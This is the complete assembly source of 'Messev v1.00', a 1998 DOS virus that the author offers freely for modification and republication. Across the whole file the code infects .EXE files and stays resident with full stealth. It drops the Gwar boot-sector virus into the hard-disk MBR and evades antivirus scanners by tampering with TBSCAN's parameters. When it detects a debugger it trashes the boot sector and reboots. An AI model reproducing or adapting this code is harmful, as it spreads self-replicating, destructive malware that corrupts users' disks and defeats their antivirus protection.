;============================================================================ ; ; NAME: Messev v1.00 ; TYPE: Parasitic resident full stealth .EXE-infector. ; PURPOSE: Designed to drop the [Gwar v1.10] bootsector-virus. ; SIZE: Over 2776 bytes. ; AUTHOR: T-2000 / Invaders. ; DATE: March 1998 / May 1998. ; ; Capabilities: ; ; - Tunneling on INT 13h and INT 21h. ; - Variable encrypting. ; - Full stealth, (SFT-stealth however...). ; - Drops bootsector-virus. ; - Hides bootsectors/MBRs infected with Gwar. ; - Completely invisible for TBSCAN (adds parameters, uses INTs). ; - Anti-tracer: detects tracers (trashes bootsector). ; - Disables stealth on execution archivers (works with PKZIP). ; - Anti-debugging tricks. ; ; ; PROBLEMS: ; ; There are still some things to do, like: ; ; - Stealth filereads without SFT's. ; - Determination of system-handles via IOCTL (function 44h). *DONE* ; - Dummy-critical errorhandler. *DONE* ; ; BUGS: ; - DEBUG crashes on exit after port-access. ; - Stack isn't right in carrier. *FIXED* ; - ARJ exits with a Divide Error. *FIXED* ; - The SBB causes some programs to crash (see above), despite ; that it is correct. (fixed by removal). ; - Invircible terminates with a runtime-error, this is caused ; by hooking function 4301h (set file attributes). ; ; Can somebody tell me why the port-access is screwing things up? ; It'sa real pain in mah ass! ; ; ; ; ; Structure: HOST + PADDING + VIRUS + PADDING + HEADER. ; ; This virus is dedicated to a very pretty woman who was on Dutch television, ; called 'Gallyon van Vessem'. ; ; Since the stupid AV'ers don't assign a person's name to a virus, this ; one is not officially called 'Gallyon'. Instead 'Messev'. ; ; Stealth-marker is 60 seconds. ; ; Passes sanity-checks in anti-virus programs. ; ; When I got ready with Gwar, I've decided build it inside a file-infector, ; (nobody boots from a diskette nowadays). At first I thought of a Tai-Pan- ; hack, later I decided to write my own. It turned out to be the most stealth ; virus I ever programmed. ; ; Some things were removed to make the virus a little more smaller: ; ; - Zero-track hiding. ; ; Scanner detection: ; - TbScan : Only the T-flag (invalid timestamp). ; - F-Prot : Possible variant of Desperado (dis is not a hack Goddammit!) ; ; ; Some parts may look a bit messy, this is due optimization. ; Also excuse me if there is some bad English in this source. ; ; My E-Mail: T2000_@HotMail.Com ; ; To whoever who has dis source: U can do with it whatever U want: ; ; - Modify it, (just give me credit) ; - Publish it, ; - Stick it where da sun doesn't shine. ; ; LAST REMARKS: I hope 2B on #VIRUS very soon! ; ;============================================================================ .MODEL TINY .STACK 4096 .CODE ORG 0 Virus_Size EQU OFFSET Virus_End - OFFSET Virus_Begin Virus_Mem_Size EQU ((Virus_Size * 2) / 16) + (128 / 16) Marker_Mem EQU 921Fh Marker_File EQU 0F0B1h Residency_Check EQU 0DCD0h Bios EQU 13h Dos EQU 21h Virus_Begin: Gwar_Boot: INCLUDE GWAR.ASM ; Bootsector-virus. Entry: CLI ; Detect if a tracer is used. PUSH AX POP AX DEC SP DEC SP POP BX STI CMP AX, BX ; Word correct? JE Not_Traced ; Then continue execution. ; === Our retaliation === Trash_RAM: MOV Trace_Mode, Bios ; Find BIOS-entrypoint. CALL Tracer MOV AX, 0301h ; Trash bootsector & part MOV CX, 01h ; of FAT with garbage. MOV DX, 0180h ; (don't hurt our child). CALL BiosInt INT 19h ; Reboot system. Not_Traced: MOV AX, Residency_Check ; Call residency-check. INT 21h CMP AX, Marker_Mem ; Are we already TSR? JNE Make_Resident Exec_Host: CALL Pop_All MOV AX, ES ADD AX, 10h ; Plus PSP. ADD CS:Old_Entry+2, AX ; Add effective segment. ADD AX, CS:Old_Stack+2 ; Plus old SS. CLI MOV SS, AX ; Restore stack. MOV SP, CS:Old_Stack STI ;IN AL, 21h ; Unlock keyboard. ;AND AL, NOT 02h ;OUT 21h, AL XOR AX, AX ; Clear AX. JMP DWORD PTR CS:Old_Entry ; JMP to host. Make_Resident: MOV AH, 62h ; Get PSP, (screws some INT 21h ; debuggers). DEC BX ; Get our MCB. MOV DS, BX CMP BYTE PTR DS:[0], 'Z' ; We want the last MCB. JNE Exec_Host ; Don't install when not. SUB WORD PTR DS:[03h], Virus_Mem_Size SUB WORD PTR DS:[12h], Virus_Mem_Size MOV ES, DS:[12h] PUSH CS POP DS CLD ; Copy virus to high-mem. XOR SI, SI XOR DI, DI MOV CX, Virus_Size REP MOVSB MOV AX, OFFSET Relocated2 PUSH ES ; JMP to relocated virus. PUSH AX RETF DB '=[ Messev v1.00, (c) 1998 by T-2000 / Invaders ]=' Relocated2: PUSH CS POP DS ; Status: Bits ; ; 0 Infect mode. ; 1 Filesize stealth mode. ; 2 Read-stealth mode. ; MOV Status, 00000011b MOV AX, 3000h ; Get DOS-version (OEM). INT 21h CMP BH, 0FFh ; Microsoft MS-DOS? JE SFT_Supported CMP BH, 0EEh ; Digital Research DR-DOS? JNE No_SFTs SFT_Supported: OR Status, 00000100b ; Read-stealth enabled. No_SFTs: MOV AL, Status ; Save initial status. MOV Init_Status, AL MOV Trace_Mode, Dos ; Find DOS-entrypoint. CALL Tracer MOV Trace_Mode, Bios ; Find BIOS-entrypoint. CALL Tracer MOV AL, 13h ; Hook INT 13h. MOV BX, OFFSET Stealth_Int13h ; Stealth-handler for MBR. MOV CX, CS CALL SetInt CALL Gwar_Dropper ; Install our lil' present. NOP ; Leave dis here! MOV AL, 21h ; Hook INT 21h. MOV BX, OFFSET NewInt21h MOV CX, CS CALL SetInt JMP Exec_Host ; See if Gwar is already installed, or else install. ; Because we use the tunnelled vector, we can read beyond Gwar's stealth. Gwar_Dropper: ; Delete port-access driver, so Gwar can infect under Win95. (Same method ; as used in Hare virus). MOV AH, 41h ; Delete driver. MOV DX, OFFSET Port_Driver CALL DosInt MOV AX, Marker_Mem_Gwar ; Gwar residency-check. INT 13h CMP AX, NOT Marker_Mem_Gwar ; Gwar resident? JE Exit_Installer ; If so, don't install. MOV AH, 0Dh ; Reset harddisk. MOV DL, 80h CALL BiosInt POP BX ; POP return address to BX. PUSH BX ; PUSH it back. MOV BYTE PTR [BX], 90h ; Remove breakpoint. MOV AX, 0201h ; Read MBR of 1st harddisk. MOV BX, OFFSET Buffer MOV CX, 01h MOV DX, 80h CALL BiosInt JC Exit_Installer CMP [BX+Signature], Marker_Boot ; Already infected? JE Exit_Installer ; Then abort drop. MOV AX, 0301h ; Store original MBR. MOV CX, 02h MOV DX, 80h CALL BiosInt JC Exit_Installer MOV AX, 0301h ; Write Gwar to MBR. MOV BX, OFFSET Gwar_Boot MOV CX, 01h MOV DX, 80h CALL BiosInt Exit_Installer: RETN Stealth_Int13h: CMP AH, 02h ; Read? JNE JMP_Int13h OR DH, DH ; Zero-head. JNZ JMP_Int13h CMP CX, 01h ; Bootsector? JNE JMP_Int13h CALL BiosInt ; Execute function. CALL Push_All JC Exit_Stealth_i13h ; Exit if error occurred. CMP ES:[BX+Signature], Marker_Boot JNE Exit_Stealth_i13h MOV AX, 0201h ; Read original bootsector. MOV CX, ES:[BX+Stored_TS] MOV DX, ES:[BX+Stored_HD] CALL BiosInt Exit_Stealth_i13h: CALL Pop_All RETF 2 JMP_Int13h: JMP DWORD PTR CS:Int13h ; <=== S T E A L T H R O U T I N E S ===> Stealth_Filesize_FCB: CALL DosInt CALL Push_All TEST CS:Status, 00000010b JZ Error_FCB OR AL, AL ; Error? JNZ Error_FCB MOV AH, 2Fh ; Get DTA-address. CALL DosInt CMP BYTE PTR ES:[BX], 0FFh ; Extended FCB? JNE Normal_FCB ADD BX, 7 ; Skip extended stuff. Normal_FCB: MOV AL, ES:[BX+17h] AND AL, 00011111b ; Infected stamp? CMP AL, 00011110b JNE Error_FCB AND BYTE PTR ES:[BX+17h], 11100000b SUB WORD PTR ES:[BX+1Dh], (Virus_Size + 16 + 24) SBB WORD PTR ES:[BX+1Fh], 0 Error_FCB: CALL Pop_All RETF 2 ; Subtract the virussize from infected files' length & clear 60 seconds. Stealth_Filesize: CALL DosInt ; Execute function. CALL Push_All JC No_Filesize_Stealth ; Abort when error. TEST CS:Status, 00000010b JZ No_Filesize_Stealth ; No, then abort. MOV AH, 2Fh ; Get DTA-address. CALL DosInt MOV AL, ES:[BX+16h] ; Get seconds-field. AND AL, 00011111b ; Mask seconds. CMP AL, 00011110b ; Equal to 60 seconds? JNE No_Filesize_Stealth ; No stealth when not. AND BYTE PTR ES:[BX+16h], 11100000b ; 0 seconds. SUB WORD PTR ES:[BX+1Ah], (Virus_Size + 16 + 24) SBB WORD PTR ES:[BX+1Ch], 0 No_Filesize_Stealth: CALL Pop_All RETF 2 ; Return 2 caller. ; Prevents readings after virtual file & redirect readings from header. Stealth_File_Read: CALL Push_All MOV CS:Read_Buffer, DS TEST CS:Status, 00000100b ; Can we use SFT-stealth? JZ JMP_No_Stealth MOV CS:Read_Bytes, CX ; Save # of bytes to read. MOV CS:Read_Buffer+2, DX CALL Check_Handle ; Dis is a filehandle? JNZ JMP_No_Stealth ; Abort when it isn't. CALL Check_Stamp ; Infected timestamp? JZ Stealth_Read JMP_No_Stealth: JMP No_Stealth_Read Stealth_Read: CALL Get_DCB ; Get the SFT-address. MOV AX, ES:[DI+17h] ; Pos. before read hi. MOV CS:File_Pos, AX MOV AX, ES:[DI+15h] ; Pos. before read lo. MOV CS:File_Pos+2, AX SUB WORD PTR ES:[DI+11h], (Virus_Size + 16 + 24) SBB WORD PTR ES:[DI+13h], 0 CALL Pop_All CALL DosInt ; Execute function. CALL Push_All JC Abort_Stealth ; Abort when error. CALL Get_DCB ADD WORD PTR ES:[DI+11h], (Virus_Size + 16 + 24) ADC WORD PTR ES:[DI+13h], 0 PUSH CS POP DS CMP File_Pos, 0 ; Reading 1st 64k? JNZ Abort_Stealth ; Abort when not. CMP File_Pos+2, 24 ; Reading header? JA Abort_Stealth ; Abort when not. CALL Save_File_Pos CALL Go_End_File ; Go to position of old SUB AX, 24 ; header at end of file. SBB DX, 0 ADD AX, File_Pos+2 ; Pos in header. ADC DX, 0 MOV ES:[DI+17h], DX ; Pos. old header. MOV ES:[DI+15h], AX ; Pos. old header. MOV AH, 3Fh ; Read original header MOV CX, 24 ; into caller's buffer. SUB CX, File_Pos+2 MOV DX, Read_Buffer+2 MOV DS, Read_Buffer CALL DosInt CALL Restore_File_Pos Abort_Stealth: CALL Pop_All RETF 2 ; Return to caller. No_Stealth_Read: CALL Pop_All JMP Continue ; Prevents lseeks beyond virtual file. Stealth_Fileseek: CALL Push_All TEST CS:Status, 00000100b ; Readstealth? JZ No_Stealth_lseek CALL Check_Stamp ; Infected stamp? JNZ No_Stealth_Lseek CALL Get_DCB SUB WORD PTR ES:[DI+11h], (Virus_Size + 16 + 24) SBB WORD PTR ES:[DI+13h], 0 CALL Pop_All CALL DosInt ; Execute function. CALL Push_All CALL Get_DCB ADD WORD PTR ES:[DI+11h], (Virus_Size + 16 + 24) ADC WORD PTR ES:[DI+13h], 0 CALL Pop_All RETF 2 No_Stealth_lseek: CALL Pop_All JMP Continue ; DS:DX = Filename. Clean_By_File: CALL Push_All MOV AX, 3D02h ; Open file r/w. CALL DosInt JC Abort_Clean XCHG BX, AX CALL Clean_Handle ; Clean it. MOV AH, 3Eh ; Close file. CALL DosInt Abort_Clean: CALL Pop_All JMP Continue ; Removes the virus physically from disk, before a program writes to it. Clean_By_Handle: CALL Clean_Handle JMP Continue ; Cleans the handle, (must have read/write access). Clean_Handle: CALL Push_All CALL Hook_i24h PUSH CS POP DS CALL Check_Handle ; Filehandle? JNZ No_Del MOV AX, 5700h ; Get filedate. CALL DosInt MOV FileTime, CX ; Save it. MOV FileDate, DX AND CL, 00011111b ; Mask seconds. CMP CL, 00011110b ; 60 seconds ? JNE No_Del CALL Save_File_Pos CALL Go_End_File SUB AX, 24 SBB DX, 0 MOV CX, DX XCHG DX, AX MOV AX, 4200h ; Pos. old header. CALL DosInt MOV AH, 3Fh ; Read old header. MOV CX, 24 MOV DX, OFFSET Header CALL DosInt CALL Go_End_File SUB AX, (Virus_Size + 16 + 24) SBB DX, 0 MOV CX, DX XCHG DX, AX MOV AX, 4200h ; CALL DosInt MOV AH, 40h ; Write marker. XOR CX, CX CALL DosInt CALL Go_Begin_File MOV AH, 40h ; Write old header. MOV CX, 24 MOV DX, OFFSET Header CALL DosInt MOV AX, 5701h ; Set clean filedate. MOV CX, FileTime MOV DX, FileDate AND CL, 11100000b ; Clear seconds. CALL DosInt CALL Restore_File_Pos No_Del: CALL Unhook_i24h CALL Pop_All RETN ; Check if timestamp is marked as 'infected'. ; BX = Filehandle. ; ZF set when infected. Check_Stamp: PUSH AX PUSH CX PUSH DX MOV AX, 5700h ; Get time & datestamp. CALL DosInt AND CL, 00011111b ; Infected? CMP CL, 00011110b ; (Set's flags). POP DX POP CX POP AX RETN ; Hides infected timestamp. Stealth_Time: CALL DosInt PUSHF PUSH CX MOV CS:Temp, CL JC No_Stealth_Time TEST CS:Status, 00000010b JZ No_Stealth_Time CALL Check_Stamp JNZ No_Stealth_Time AND CS:Temp, 11100000b ; Zero seconds. No_Stealth_Time: POP CX POPF MOV CL, CS:Temp RETF 2 Save_File_Pos: MOV AX, 4201h ; Get file-position. XOR CX, CX CWD CALL DosInt MOV CS:Old_Pos, DX MOV CS:Old_Pos+2, AX RETN Restore_File_Pos: MOV AX, 4200h MOV CX, CS:Old_Pos MOV DX, CS:Old_Pos+2 CALL DosInt RETN Go_Begin_File: MOV AX, 4200h XOR CX, CX CWD CALL DosInt RETN ;------------------------- ; Goes to end of file. ; ; In: BX = filehandle ; Out: DX:AX = filesize ;------------------------- Go_End_File: MOV AX, 4202h XOR CX, CX CWD CALL DosInt RETN ; These INT 21h functions will be trapped by our virus. If the subfunction ; is 0FFh, it will be treaded like a wildcard. Functions: DW 11FFh ; Findfirst (FCB). DW Stealth_Filesize_FCB DW 12FFh ; Findnext (FCB). DW Stealth_Filesize_FCB DW 4EFFh ; Findfirst (handle). DW Stealth_Filesize DW 4FFFh ; Findnext (handle). DW Stealth_Filesize DW 4B00h ; Execute file. DW Init_Exec DW 4B01h ; Load but not execute. DW Clean_By_File DW 5700h ; Get filetime. DW Stealth_Time DW 3CFFh ; Create/truncate file. DW Check_Infect DW 3DFFh ; Open file. DW Check_Infect DW 3FFFh ; Read file (handle). DW Stealth_File_Read DW 40FFh ; Write to file (handle). DW Clean_By_Handle DW 42FFh ; lseek file. DW Stealth_Fileseek DW 41FFh ; Delete file. DW Check_Infect DW 4CFFh ; Program terminate. DW Switch_Stealth_On DW 6CFFh ; Extended open/create. DW Check_Infect DW 43FFh ; Get file-attributes. DW Check_Infect DW Residency_Check ; Are-You-There call. DW Return_Call DW 0 ; End table. NewInt21h: PUSH SI PUSH BX MOV SI, OFFSET Functions Next_Function: MOV BX, CS:[SI] OR BH, BH ; End of table reached? JZ End_Table_Reached ; Then abort. CMP BH, AH ; Function match? JNE Another CMP BL, 0FFh ; Don't compare subfunction? JE Exec_Function ; Then JMP to routine. CMP BL, AL ; Subfunction right? JE Exec_Function ; Then JMP to routine. Another: ADD SI, 4 ; Next entry. JMP Next_Function ; Repeat loop. End_Table_Reached: POP BX POP SI Continue: JMP DWORD PTR CS:Int21h Exec_Function: MOV BX, CS:[SI+2] MOV CS:Ret_Add, BX POP BX POP SI JMP CS:Ret_Add ; JMP to routine. ; === Let the virus know that we are already installed in memory. === Return_Call: MOV AX, Marker_Mem IRET Switch_Stealth_On: PUSH AX MOV AL, CS:Init_Status MOV CS:Status, AL POP AX JMP Continue Init_Exec: CALL Push_All ; Should we be inactive during run of program? ; Else causes problems. ; ARJ.EXE Timestamp incorrect. ; PKZIP.EXE Wrong filesizes, etc. MOV SI, DX MOV DI, OFFSET No_Active MOV CX, (OFFSET End_No_Active - OFFSET No_Active) / 7 CALL Search_Table JNZ No_Disable AND CS:Status, 00000000b No_Disable: MOV DI, OFFSET TBSCAN ; Add parameters to TBSCAN? MOV CX, 1 CALL Search_Table JNZ Not_TbScan MOV DI, ES:[BX+2] MOV ES, ES:[BX+4] MOV AL, ES:[DI] CBW ADD BYTE PTR ES:[DI], 6 ; Length parameters. INC DI ADD DI, AX PUSH CS POP DS CLD MOV SI, OFFSET Parameters MOVSW MOVSW MOVSW MOVSB Not_TbScan: CALL Pop_All ; === INFECTION ROUTINE === Check_Infect: CALL Push_All CALL Hook_i24h ; Dummy error-handler. CMP AH, 6Ch ; Extended open/create? JNE No_Ext_Open ; (used by F-Prot). MOV DX, SI ; DX = SI. No_Ext_Open: TEST CS:Status, 00000001b ; Infect-mode on? JZ JMP_Exit_i21h ; Abort when not. MOV AX, 3D02h ; Open file for r/w. CALL DosInt JNC No_Open_Error JMP_Exit_i21h: JMP Exit_Int_21h DB 'Daddy-K-tit 2 Gallyon van Vessem' No_Open_Error: XCHG BX, AX ; BX = Handle. CALL Check_Handle ; Filehandle? JNZ Abort_Check PUSH CS POP DS PUSH CS POP ES MOV AH, 3Fh ; Read header. MOV CX, 24 MOV DX, OFFSET Header CALL DosInt JC Abort_Check ; If we can't read. CALL Go_End_File OR DX, DX ; > 64k? JNZ Over_64k CMP AX, 560 ; File too small? JB Abort_Check Over_64k: CMP Mark, 'ZM' ; .EXE-file? JNE Abort_Check ; Exit when not. CMP Checksum, Marker_File ; Already infected? JNE Infect_File Abort_Check: JMP Close_File Infect_File: MOV AX, 5700h ; Get filetime. CALL DosInt PUSH CX PUSH DX CALL Go_End_File AND AX, 00001111b ; Filelength MOD 16. MOV Padding, AX OR AX, AX JZ No_Padding MOV AH, 40h ; Write padding bytes. MOV CX, 16 SUB CL, AL MOV Padding, CX CALL DosInt No_Padding: CALL Go_End_File PUSH DX ; Size host + padding. PUSH AX CLD ; Save old CS:IP. MOV SI, OFFSET Init_IP MOV DI, OFFSET Old_Entry MOVSW MOVSW MOV AX, Init_SP ; Save old SS:SP. MOV Old_Stack, AX MOV AX, Init_SS MOV Old_Stack+2, AX IN AL, 40h ; Get random encryption-key. MOV File_Key, AL CLD ; Copy virus to buffer XOR SI, SI ; for encryption. MOV DI, OFFSET Buffer MOV CX, Virus_Size REP MOVSB MOV SI, OFFSET Buffer MOV CX, OFFSET End_Encrypted_File Encrypt_Byte: XOR BYTE PTR [SI], AL ; Encrypt ourself in buffer. INC SI LOOP Encrypt_Byte MOV AH, 40h ; Append virus to host. MOV CX, (Virus_Size + 16) SUB CX, Padding MOV DX, OFFSET Buffer CALL DosInt MOV AH, 40h ; Write original header MOV CX, 24 ; to end of hostfile. MOV DX, OFFSET Header CALL DosInt MOV AX, HeaderSize ; Calculate headersize. MOV CX, 16 MUL CX XCHG CX, AX POP AX ; Length host + padding. POP DX SUB AX, CX ; Minus headersize. SBB DX, 0 ; *** Causes a bug with ARJ ; by small files. > 512. ; Also with Invircible. MOV CX, 16 ; In paragraphs. DIV CX MOV Init_CS, AX ; Store new CS. MOV Init_IP, OFFSET START DEC AX ; Anti-heuristic. MOV Init_SS, AX MOV Init_SP, (Virus_Mem_Size * 16) CALL Go_End_File MOV CX, 16 ; Filelength in paragraphs. DIV CX ADD AX, Virus_Mem_Size MOV MinMem, AX CALL Go_End_File MOV CX, 512 ; 512 byte-pages. DIV CX OR DX, DX ; No rest? JZ No_Round ; Then no round-off. INC AX ; Round off. No_Round: MOV Byte_Pages, AX MOV MOD512, DX MOV Checksum, Marker_File ; Mark as infected. CALL Go_Begin_File MOV AH, 40h ; Write updated header. MOV CX, 24 MOV DX, OFFSET Header CALL DosInt MOV AX, 5701h ; Restore filedate. POP DX POP CX AND CL, 11100000b ; Clear seconds. OR CL, 00011110b ; 60 secs. CALL DosInt Close_File: MOV AH, 3Eh ; Close file. CALL DosInt Exit_Int_21h: CALL Unhook_i24h CALL Pop_All JMP Continue ; Tunnelled disk interrupt 13h. BiosInt: PUSHF CALL DWORD PTR CS:Int13h RETN ; === Call the tunnelled DOS-interrupt. === DosInt: PUSHF CALL DWORD PTR CS:Int21h RETN ;====( Get interrupt vector )================================================ ; ; AL = Interrupt number to hook. ; ; Return: CX:BX = Pointer to INT. ;============================================================================ GetInt: PUSH SI PUSH DS PUSH AX MOV AH, 4 MUL AH XCHG SI, AX XOR AX, AX MOV DS, AX CLI ; Get handler-address. MOV BX, DS:[SI] MOV CX, DS:[SI+2] STI POP AX POP DS POP SI RETN ;====( Set interrupt vector )================================================ ; ; AL = Interrupt number to hook. ; ; Returns: ; ; CX:BX = Pointer to handler. ;============================================================================ SetInt: PUSH SI PUSH DS PUSH DX PUSH AX MOV AH, 4 MUL AH XCHG SI, AX XOR AX, AX MOV DS, AX CLI MOV DS:[SI], BX MOV DS:[SI+2], CX STI POP AX POP DX POP DS POP SI RETN Old_Entry DW OFFSET Carrier, 0 ; Entrypoint host. Old_Stack DW OFFSET Virus_End + 1024, 0 ; Stacksegment host. ; === Finds the original BIOS & DOS entrypoint. === Tracer: CALL Push_All MOV AH, 52h ; List of lists. INT 21h MOV AX, ES:[BX-02h] ; Get 1st MCB. MOV Dos_Segment, AX MOV AL, 01h ; Save INT 01h. CALL GetInt MOV Int01h, BX MOV Int01h+2, CX MOV AL, 01h ; Hook INT 01h. MOV BX, OFFSET NewInt01h MOV CX, CS CALL SetInt MOV AL, Trace_Mode ; Get address from vector. CALL GetInt PUSHF POP AX OR AH, 01h ; TF on. PUSH AX POPF CMP Trace_Mode, Bios JNE Mode_Dos MOV Int13h, BX MOV Int13h+2, CX XOR AH, AH ; Reset disk. CALL BiosInt JMP Exit_Tracer Mode_Dos: MOV Int21h, BX MOV Int21h+2, CX MOV AX, 3000h ; Get DOS-version (OEM). CALL DosInt Exit_Tracer: PUSHF POP AX AND AH, NOT 01h ; TF off (just in case). PUSH AX POPF MOV AL, 01h ; Restore INT 01h. MOV BX, Int01h MOV CX, Int01h+2 CALL SetInt CALL Pop_All RETN ; I should be learning 4 my exams right now... DB 'If I don''t pass... fuck it!', 0 DB 'SKLSUX!' NewInt01h: PUSH BP MOV BP, SP PUSH AX PUSH DS MOV AX, [BP+4] ; Segment. CMP Trace_Mode, Bios JNE Trace_Dos CMP AH, 0C0h ; In BIOS-segment? JB Not_In_Bios ; Continue when not. MOV Int13h+2, AX MOV AX, [BP+2] MOV Int13h, AX JMP Diss_Flag Trace_Dos: CMP AX, Dos_Segment ; In DOS-segment? JNB Not_In_Bios ; Continue when not. MOV Int21h+2, AX MOV AX, [BP+2] MOV Int21h, AX Diss_Flag: AND BYTE PTR [BP+7], NOT 01h ; Diss trapflag on stack. Not_In_Bios: POP DS POP AX POP BP IRET ; Taken from Predator virus. Push_All: POP CS:[Ret_Add] ; Pop return address to var. PUSHF PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH DS PUSH ES PUSH BP JMP CS:Ret_Add ; Push return address on ; the stack. Pop_All: POP CS:[Ret_Add] ; Save return address. POP BP POP ES POP DS POP DI POP SI POP DX POP CX POP BX POP AX POPF JMP CS:[Ret_Add] ; Gets the SFT-address. *UNDOCUMENTED* ; BX = Handle. ; Get_DCB: PUSH BX MOV AX, 1220h ; Get DCB-number. INT 2Fh MOV AX, 1216h ; Get DCB-address. MOV BL, ES:[DI] INT 2Fh POP BX RETN TBSCAN DB 'TBSCAN.' ; During execution of one of these programs, the virus will be inactive, ; (no stealth, no infect). No_Active: DB 'PKZIP.E' ; PKZIP.EXE DB 'ARJ.EXE' ; ARJ.EXE DB 'LHA.EXE' ; LHA.EXE DB 'RAR.EXE' ; RAR.EXE DB 'CHKDSK.' ; CHKDSK.EXE End_No_Active: Hook_i24h: CALL Push_All MOV AL, 24h ; Get INT 24h. CALL GetInt MOV CS:Int24h, BX MOV CS:Int24h+2, CX MOV AL, 24h ; Hook INT 24h. MOV BX, OFFSET NewInt24h MOV CX, CS CALL SetInt CALL Pop_All RETN ; I would really recommend getting this CD ; (yes, it's da theme-music from Carmageddon). DB '[ DEMANUFACTURE - FEAR FACTORY ]' Unhook_i24h: CALL Push_All MOV AL, 24h ; Restore INT 24h. MOV BX, CS:Int24h MOV CX, CS:Int24h+2 CALL SetInt CALL Pop_All RETN ; Dummy Critical Error handler. NewInt24h: MOV AL, 03h IRET ;======================================================================= ; Search a table & (re)set zeroflag depending on result. ZF when found. ; ; DS:SI = Line ; CS:DI = Table ; CX = Number of names to compare. ;======================================================================= Search_Table: PUSH AX PUSH BX PUSH SI PUSH DI PUSH BP PUSH DS PUSH ES PUSH CX PUSH DI PUSH ES PUSH DS POP ES PUSH SI POP DI MOV AL, '.' CLD MOV CX, 127 REPNZ SCASB MOV AL, '\' STD MOV CX, 127 REPNZ SCASB MOV BP, ES:[DI+2] MOV BX, ES:[DI+4] MOV DX, ES:[DI+6] MOV AL, ES:[DI+8] POP ES POP DI POP CX Find_Match: CMP CS:[DI+0], BP JNE Not_Found CMP CS:[DI+2], BX JNE Not_Found CMP CS:[DI+4], DX JNE Not_Found CMP CS:[DI+6], AL JNE Not_Found Comple: CMP AX, AX JMP Exit_Sea Not_Found: ADD DI, 7 LOOP Find_Match XOR AX, AX NOT AL CMP AL, AH Exit_Sea: POP ES POP DS POP BP POP DI POP SI POP BX POP AX RETN ; Is the handle in BX corresponding to a file or a device? (sets ZF). Check_Handle: MOV AX, 4400h ; IOCTL CALL DosInt TEST DL, 80h ; Filehandle? RETN Port_Driver DB 'C:\WINDOWS\SYSTEM\IOSUBSYS\HDFLOP.PDR', 0 Parameters DB ' NM CO', 0Dh End_Encrypted_File: NOP_Msg DB '$' ; === VIRUS ENTRYPOINT === START: PUSHF ; Save registers. PUSH AX ; (Same as Push_All). PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH DS PUSH ES PUSH BP ;IN AL, 21h ; Take-out keyboard. ;OR AL, 02h ;OUT 21h, AL PUSH CS POP DS XOR BX, BX MOV CX, OFFSET End_Encrypted_File Decrypt_Byte: XOR BYTE PTR [BX], 0 ; Decrypt our body. ORG $-1 File_Key DB 0 INC BX MOV AH, 09h ; Prints a empty string. MOV DX, OFFSET NOP_Msg ; (Anti-TbScan). INT 21h LOOP Decrypt_Byte JMP Entry Virus_End: Header: Mark DW 0 ; .EXE-identifier (always 'MZ'). Mod512 DW 0 Byte_Pages DW 0 Num_Reloc DW 0 HeaderSize DW 0 MinMem DW 0 MaxMem DW 0 Init_SS DW 0 Init_SP DW 0 Checksum DW 0 ; Checksum, unused by MS-DOS, used by us. Init_IP DW 0 Init_CS DW 0 ; === TEMP VARIABLES === Status DB 0 Init_Status DB 0 Int01h DW 0, 0 Int21h DW 0, 0 ; Tunnelled INT 21h. Int24h DW 0, 0 New_Pos DW 0, 0 Old_Pos DW 0, 0 File_Pos DW 0, 0 Read_Bytes DW 0 Padding DW 0 Dos_Segment DW 0 ; 1st Memory Control Block. Trace_Mode DB 0 ; Are we tracing BIOS or DOS-interrupt? Ret_Add DW 0 Tunnel_Int DW 0, 0 ; Address of the tunneled interrupt. Read_Buffer DW 0, 0 FileTime DW 0 FileDate DW 0 Temp DB 0 Buffer: Carrier: PUSH CS POP DS MOV AH, 09h ; Display warning. MOV DX, OFFSET Warning_Msg INT 21h MOV AX, 4C00h ; Exit to DOS. INT 21h Warning_Msg DB 'WARNING: This program is infected with the ' DB 'Messev v1.00 virus!', 0Ah, 0Dh, '$' END START